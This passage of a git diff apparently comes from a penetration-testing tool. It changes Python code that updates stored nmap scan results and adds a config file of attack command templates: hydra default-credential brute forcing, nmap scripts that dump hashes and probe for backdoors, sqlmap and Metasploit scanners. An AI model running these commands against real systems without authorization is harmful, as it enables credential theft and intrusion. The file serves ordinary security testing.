#db_service = session.query(nmap_service).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() + db_service = session.query(nmap_service).filter_by(name=s.name).first() else: db_service = None # fetch the port db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() if db_port: - db_port.state = p.state + print("************************ Found {0}".format(db_port)) + + if db_port.state != p.state: + db_port.state = p.state + session.add(db_port) - if not (db_service is None): # if there is some new service information, update it + if not (db_service is None) and db_port.service_id != db_service.id: # if there is some new service information, update it db_port.service_id = db_service.id - - session.add(db_port) + session.add(db_port) for scr in p.get_scripts(): # store the script results (note that existing script outputs are also kept) db_script = session.query(nmap_script).filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() - if not scr.output == '': + if not scr.output == '' and scr.output is not None: db_script.output = scr.output session.add(db_script) diff --git a/backup/20190301141033994378-legion.conf b/backup/20190301141033994378-legion.conf new file mode 100644 index 00000000..55f5bfaa --- /dev/null +++ b/backup/20190301141033994378-legion.conf @@ -0,0 +1,318 @@ +[BruteSettings] +default-password=password +default-username=root +no-password-services="oracle-sid,rsh,smtp-enum" +no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" +password-wordlist-path=/usr/share/wordlists/ +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +store-cleartext-passwords-on-exit=True +username-wordlist-path=/usr/share/wordlists/ + +[GUISettings] +process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,544,100" +process-tab-detail=False + +[GeneralSettings] +default-terminal=gnome-terminal +enable-scheduler=True +enable-scheduler-on-import=False +max-fast-processes=5 +max-slow-processes=5 +screenshooter-timeout=15000 +tool-output-black-background=False +web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" + +[HostActions] +icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] +nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" +nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" +nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" +nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v + +[PortActions] +banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", +broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql +citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix +citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix +citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix +dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" +enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" +finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger +ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp +ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp +ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp +ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp +ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp +ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp +http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" +http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" +http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" +http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" +http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" +http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" +http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" +http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" +http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" +http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" +http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" +http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" +http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" +http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" +http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" +http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" +http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" +http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" +http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" +http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" +http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" +http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" +http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" +http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" +http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" +http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" +http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" +http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" +http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" +http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" +http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" +http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" +http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" +http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" +http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https" +http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" +http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" +http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" +http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" +http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" +http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" +http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" +http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" +http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" +http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" +http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" +http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" +http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" +http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" +http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" +http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql +http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" +http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https" +http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" +http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" +http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" +http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" +http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" +http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" +http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" +http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" +http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" +http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" +http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" +http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" +http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" +http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" +http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" +http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" +http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" +http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" +http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" +http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" +http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" +http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" +http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" +http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" +http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" +http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" +http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" +http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" +http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" +http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" +http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" +http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http +http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" +http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" +http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" +http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" +https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https +imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap +imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap +irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc +irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc +irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc +irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc +irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc +ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap +membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" +ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql +ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql +ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql +ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql +ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql +ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql +ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql +ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql +ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql +ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql +msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc +mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s +mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql +mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql +mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql +mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql +mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql +mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql +mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql +mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql +mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql +mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql +mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql +mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql +nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns +nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs +nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs +nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs +nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" +nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], +oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle +oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle +oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns +oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle +oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' +oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle +oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns +polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" +pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 +pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 +postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql +rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server +realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc +riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" +rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind +rwho=Run rwho, rwho -a [IP], who +samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba +samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" +showmount=Show nfs shares, showmount -e [IP], nfs +smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] 